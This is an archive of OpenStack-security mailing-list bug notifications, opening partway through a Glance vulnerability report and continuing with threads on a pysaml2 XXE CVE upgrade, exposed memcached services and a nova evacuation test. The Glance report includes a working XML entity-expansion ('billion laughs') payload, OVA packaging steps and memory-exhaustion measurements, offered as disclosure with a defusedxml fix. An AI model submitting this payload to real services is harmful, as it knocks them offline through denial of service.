   <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
   <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
   <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
   <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
   <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
   <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
   <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
   <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
   <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
   <!ENTITY lol10 "&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;&lol9;">
  ]>
  <lolz>&lol10;</lolz>

  2. Create the OVA file (tarball) with the "tar" utility:

      $ tar -cf laugh.ova.tar laugh.ovf && mv laugh.ova.tar laugh.ova

  3. (Optional) If you want to serve this from your devstack instance
  (as in the request above), run this in the folder where you created
  the OVA file:

      $ python -m SimpleHTTPServer 9090

  -----------------------------------------
  Performance impact
  -----------------------------------------
  Profiling my VM from a fresh boot:

  $ vboxmanage metrics query [VM NAME] Guest/RAM/Usage/Free,Guest/Pagefile/Usage/Total,Guest/CPU/Load/User:avg
  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 13.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 2456680 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting this task twice (repeating calls to the above
  command):

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1989684 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 88.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1694080 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 83.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1426876 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 79.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 1181248 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 85.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 817244 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 84.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 548636 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  Object     Metric               Values
  ---------- -------------------- --------------------------------------------
  devstack_devstack_1473967678756_60616 Guest/CPU/Load/User:avg 74.00%
  devstack_devstack_1473967678756_60616 Guest/RAM/Usage/Free 118932 kB
  devstack_devstack_1473967678756_60616 Guest/Pagefile/Usage/Total 0 kB

  After submitting enough of these requests at once, glance-api runs out
  of memory and can't restart itself. Here's what the log looks like
  after the "killer request" [4]

  -----------------------------------------
  Mitigation
  -----------------------------------------

  Any instances of xml.etree should be replaced with their equivalent in
  a secure XML parsing library like defusedxml [5]

  1: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L21-L24
  2: https://github.com/openstack/glance/blob/master/glance/async/flows/ovf_process.py#L184
  3: https://docs.python.org/2/library/xml.html#xml-vulnerabilities
  4: https://gist.github.com/cneill/5265d887e0125c0e20254282a6d8ae64
  5: https://pypi.python.org/pypi/defusedxml

  -----------------------------------------
  Other
  -----------------------------------------
  Thanks to Rahul Nair from the OpenStack Security Project for bringing the ovf_process file to my attention in the first place. We are testing Glance for security defects as part of OSIC, using our API security testing tool called Syntribos (https://github.com/openstack/syntribos), and Bandit (which was used to discover this issue).

To manage notifications about this bug go to:
https://bugs.launchpad.net/glance/+bug/1625402/+subscriptions



From dikonoor at in.ibm.com  Wed Feb 21 15:02:58 2018
From: dikonoor at in.ibm.com (Divya K Konoor)
Date: Wed, 21 Feb 2018 15:02:58 -0000
Subject: [Openstack-security] [Bug 1750843] [NEW] pysaml2 version in global
 requirements must be updated to 4.5.0
Message-ID: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>

Public bug reported:

As per security vulnerability CVE-2016-10149, XML External Entity (XXE)
vulnerability in PySAML2 4.4.0 and earlier allows remote attackers to
read arbitrary files via a crafted SAML XML request or response and it
has a CVSS v3 Base Score of 7.5.

The above vulnerability has been fixed in version 4.5.0 as per
https://github.com/rohe/pysaml2/issues/366. The latest version of
pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
However, the global requirements has the version set to < 4.0.3

https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
pysaml2>=4.0.2,<4.0.3

https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
pysaml2===4.0.2

The version of pysaml2 supported for OpenStack should be updated such
that OpenStack deployments are not vulnerable to the above mentioned
CVE.

pysaml2 is used by OpenStack Keystone for identity Federation. This bug
in itself is not a security vulnerability but not fixing this bug causes
OpenStack deployments to be vulnerable.

** Affects: openstack-requirements
     Importance: Undecided
         Status: New


** Tags: security

** CVE added: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-10149

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From fungi at yuggoth.org  Wed Feb 21 15:13:16 2018
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Wed, 21 Feb 2018 15:13:16 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151922599643.2363.5087848191286657149.malone@gac.canonical.com>

So... you're saying that Keystone allows untrusted users to pass crafted
SAML XML requests or responses through routines in PySAML2?

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From 1749326 at bugs.launchpad.net  Wed Feb 21 15:28:22 2018
From: 1749326 at bugs.launchpad.net (Jeffrey Zhang)
Date: Wed, 21 Feb 2018 15:28:22 -0000
Subject: [Openstack-security] [Bug 1749326] Re: Exploitable services exposed
	on community test nodes
References: <151856918155.29609.17973703058565700322.malonedeb@chaenomeles.canonical.com>
Message-ID: <151922690403.2408.7981145602919576803.launchpad@gac.canonical.com>

** Changed in: kolla-ansible
   Importance: High => Critical

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1749326

Title:
  Exploitable services exposed on community test nodes

Status in kolla-ansible:
  Confirmed

Bug description:
  One of the donor service providers for the upstream OpenStack
  Infrastructure CI pool has notified us that their security team's
  periodic vulnerability scans have been identifying systems at random
  within our environment as running open memcached servers. Job
  correlation from these reports indicates each was running one of the
  following:

  kolla-ansible-oraclelinux-binary
  kolla-ansible-oraclelinux-source
  kolla-ansible-oraclelinux-source-ceph

  Please adjust the configuration of your job framework to prevent these
  services from being exposed to the Internet (through iptables ingress
  filters, service ACLs, configuring them to not listen on globally-
  routable interfaces, whatever works). Thanks!

To manage notifications about this bug go to:
https://bugs.launchpad.net/kolla-ansible/+bug/1749326/+subscriptions



From dikonoor at in.ibm.com  Wed Feb 21 16:18:05 2018
From: dikonoor at in.ibm.com (Divya K Konoor)
Date: Wed, 21 Feb 2018 16:18:05 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151922988522.2501.4423833063599013422.malone@wampee.canonical.com>

Fungi, that's what the CVE leads us to believe.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From 1750843 at bugs.launchpad.net  Wed Feb 21 16:45:26 2018
From: 1750843 at bugs.launchpad.net (Matthew Thode)
Date: Wed, 21 Feb 2018 16:45:26 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923152690.2436.14594082617931378974.malone@wampee.canonical.com>

https://github.com/gentoo/gentoo/blob/master/dev-
python/pysaml2/files/xxe-4.0.2.patch and
https://github.com/gentoo/gentoo/blob/master/dev-
python/pysaml2/files/pysaml-4.0.2_CVE-2017-1000433.patch are the
backported pysaml2 patches for 4.0.2 that we use.  Though ya, it would
be better to move to 4.5.0 even if only to remove the cap on it (from a
requirements perspective).

** CVE added: https://cve.mitre.org/cgi-
bin/cvename.cgi?name=2017-1000433

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From fungi at yuggoth.org  Wed Feb 21 16:48:52 2018
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Wed, 21 Feb 2018 16:48:52 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923173224.2368.16461480912280029255.malone@chaenomeles.canonical.com>

Divya: my question was more about how Keystone is using PySAML2. Does it
pass arbitrary user-supplied SAML XML through the library, or does it
create the XML itself in ways not directly under the control of an
untrusted party?

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From dikonoor at in.ibm.com  Wed Feb 21 17:26:36 2018
From: dikonoor at in.ibm.com (Divya K Konoor)
Date: Wed, 21 Feb 2018 17:26:36 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923399668.2433.10439673065090574656.malone@wampee.canonical.com>

Fungi, Colleen or Lance from Keystone might be in a better position to
answer this.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From lbragstad at gmail.com  Wed Feb 21 18:21:21 2018
From: lbragstad at gmail.com (Lance Bragstad)
Date: Wed, 21 Feb 2018 18:21:21 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923728113.2437.17550524002637455376.malone@gac.canonical.com>

The usage of the PySAML2 library in keystone is isolated to a single
module dedicated to identity provider functionality [0], which would
make sense if we're dealing with SAML assertions. From what I can tell
after briefly refreshing myself with the code, is that we use the
library to generate SAML assertions based on a user's token. Instead of
authenticating for a token, a user authenticates *with* a token for a
SAML assertion they can give to a service provider (e.g. keystone-to-
keystone federation.

>From what I can tell, and consulting with other keystone developers who
are more familiar with this area of the code, it is a POST call used for
authentication that only requires the ID of a token [1].

Regardless, it doesn't sound like upgrading the requirement would hurt?

[0] https://github.com/openstack/keystone/blob/8948050c03252853d406ddea157633550cb639e4/keystone/federation/idp.py
[1] https://developer.openstack.org/api-ref/identity/v3-ext/index.html#generate-a-saml-assertion

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From morgan.fainberg at gmail.com  Wed Feb 21 18:21:30 2018
From: morgan.fainberg at gmail.com (Morgan Fainberg)
Date: Wed, 21 Feb 2018 18:21:30 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923729095.2327.3087959444255189199.malone@chaenomeles.canonical.com>

This is an update we should do for the sake of being most correct
forward looking. IT wont impact keystone since as Colleen said, we don't
accept user-supplied XML.

This is a low-impact bug that should for best practices sake be
addressed going forward (R-release and later) as long as there are no
reasons we cannot include it.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From fungi at yuggoth.org  Wed Feb 21 18:30:44 2018
From: fungi at yuggoth.org (Jeremy Stanley)
Date: Wed, 21 Feb 2018 18:30:44 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151923784457.2786.9091270848429099765.malone@soybean.canonical.com>

Thanks Keystoners! And yes, the reasons I was asking was so we could
determine whether this use exposed the vulnerability in the library (in
which case we'd want to update stable branch code/global
requirements/upper constraints and issue an OSSN) or whether it can just
be updated normally in the course of ongoing development as a measure of
hygiene.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From dikonoor at in.ibm.com  Thu Feb 22 03:33:22 2018
From: dikonoor at in.ibm.com (Divya K Konoor)
Date: Thu, 22 Feb 2018 03:33:22 -0000
Subject: [Openstack-security] [Bug 1750843] Re: pysaml2 version in global
 requirements must be updated to 4.5.0
References: <151922537889.2431.9740442844817515971.malonedeb@gac.canonical.com>
Message-ID: <151927040276.2356.15961127935224845646.malone@chaenomeles.canonical.com>

Lance / Colleen / fungi /Morgan, thanks for your quick responses. If I understood it right, the plan of action here is :
1. Update upper constraints to 4.5.0 for pysaml2 for Rocky and above.
2. Deployers of Queens and backward can go and apply patches on top of 4.0.2 (comment 3)

OpenStack/Keystone is NOT impacted by this vulnerability and the above
is merely for good hygiene.

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1750843

Title:
  pysaml2 version in global requirements must be updated to 4.5.0

Status in OpenStack Global Requirements:
  New

Bug description:
  As per security vulnerability CVE-2016-10149, XML External Entity
  (XXE) vulnerability in PySAML2 4.4.0 and earlier allows remote
  attackers to read arbitrary files via a crafted SAML XML request or
  response and it has a CVSS v3 Base Score of 7.5.

  The above vulnerability has been fixed in version 4.5.0 as per
  https://github.com/rohe/pysaml2/issues/366. The latest version of
  pysaml2 (https://pypi.python.org/pypi/pysaml2/4.5.0) has this fix.
  However, the global requirements has the version set to < 4.0.3

  https://github.com/openstack/requirements/blob/master/global-requirements.txt#L230
  pysaml2>=4.0.2,<4.0.3

  https://github.com/openstack/requirements/blob/master/upper-constraints.txt#L347
  pysaml2===4.0.2

  The version of pysaml2 supported for OpenStack should be updated such
  that OpenStack deployments are not vulnerable to the above mentioned
  CVE.

  pysaml2 is used by OpenStack Keystone for identity Federation. This
  bug in itself is not a security vulnerability but not fixing this bug
  causes OpenStack deployments to be vulnerable.

To manage notifications about this bug go to:
https://bugs.launchpad.net/openstack-requirements/+bug/1750843/+subscriptions



From 1713783 at bugs.launchpad.net  Thu Feb 22 20:47:52 2018
From: 1713783 at bugs.launchpad.net (OpenStack Infra)
Date: Thu, 22 Feb 2018 20:47:52 -0000
Subject: [Openstack-security] [Bug 1713783] Related fix merged to nova
	(master)
References: <150402703560.19393.11649471063519714290.malonedeb@chaenomeles.canonical.com>
Message-ID: <151933247278.12588.14215627629367630102.malone@wampee.canonical.com>

Reviewed:  https://review.openstack.org/498482
Committed: https://git.openstack.org/cgit/openstack/nova/commit/?id=f1215e07a5185a8590104235fcbde4b5a23c3545
Submitter: Zuul
Branch:    master

commit f1215e07a5185a8590104235fcbde4b5a23c3545
Author: Előd Illés <elod.illes at ericsson.com>
Date:   Tue Aug 22 14:14:56 2017 +0200

    Functional test: evacuate with no compute
    
    Resource allocation test case:
    Initiate evacuation when no valid host to evacuate to and
    check all resource usages and allocations after.
    
    This testcase uncovered the bug below. Bug is fixed already, so the
    test contains asserts that cover the correct behavior.
    
    Related-Bug: #1713783
    Change-Id: I4ced19bd9259f0b5a50b89dd5908abe35ca73894

-- 
You received this bug notification because you are a member of OpenStack
Security, which is subscribed to OpenStack.
https://bugs.launchpad.net/bugs/1713783

Title:
  After failed evacuation the recovered source compute tries to delete
  the instance

Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Compute (nova) newton series:
  Triaged
Status in OpenStack Compute (nova) ocata series:
  In Progress
Status in OpenStack Compute (nova) pike series:
  Fix Committed
Status in OpenStack Security Advisory:
  Won't Fix

Bug description:
  Description
  ===========
  In case of a failed evacuation attempt the status of the migration is 'accepted' instead of 'failed' so when source compute is recovered the compute manager tries to delete the instance from the source host. However a secondary fault prevents deleting the allocation in placement so the actual deletion of the instance fails as well.

  Steps to reproduce
  ==================
  The following functional test reproduces the bug: https://review.openstack.org/#/c/498482/
  What it does: initiate evacuation when no valid host is available and evacuation fails, but nova manager still tries to delete the instance.
  Logs:

      2017-08-29 19:11:15,751 ERROR [oslo_messaging.rpc.server] Exception during message handling
      NoValidHost: No valid host was found. There are not enough hosts available.
      2017-08-29 19:11:16,103 INFO [nova.tests.functional.test_servers] Running periodic for compute1 (host1)
      2017-08-29 19:11:16,115 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/4e8e23ff-0c52-4cf7-8356-d9fa88536316/aggregates" status: 200 len: 18 microversion: 1.1
      2017-08-29 19:11:16,120 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/4e8e23ff-0c52-4cf7-8356-d9fa88536316/inventories" status: 200 len: 401 microversion: 1.0
      2017-08-29 19:11:16,131 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/4e8e23ff-0c52-4cf7-8356-d9fa88536316/allocations" status: 200 len: 152 microversion: 1.0
      2017-08-29 19:11:16,138 INFO [nova.compute.resource_tracker] Final resource view: name=host1 phys_ram=8192MB used_ram=1024MB phys_disk=1028GB used_disk=1GB total_vcpus=10 used_vcpus=1 pci_stats=[]
      2017-08-29 19:11:16,146 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/4e8e23ff-0c52-4cf7-8356-d9fa88536316/aggregates" status: 200 len: 18 microversion: 1.1
      2017-08-29 19:11:16,151 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/4e8e23ff-0c52-4cf7-8356-d9fa88536316/inventories" status: 200 len: 401 microversion: 1.0
      2017-08-29 19:11:16,152 INFO [nova.tests.functional.test_servers] Running periodic for compute2 (host2)
      2017-08-29 19:11:16,163 INFO [nova.api.openstack.placement.requestlog] 127.0.0.1 "GET /placement/resource_providers/531b1ce8-def1-455d-95b3-4140665d956f/aggregates" status: 200 len: 18 microversion: 1.1
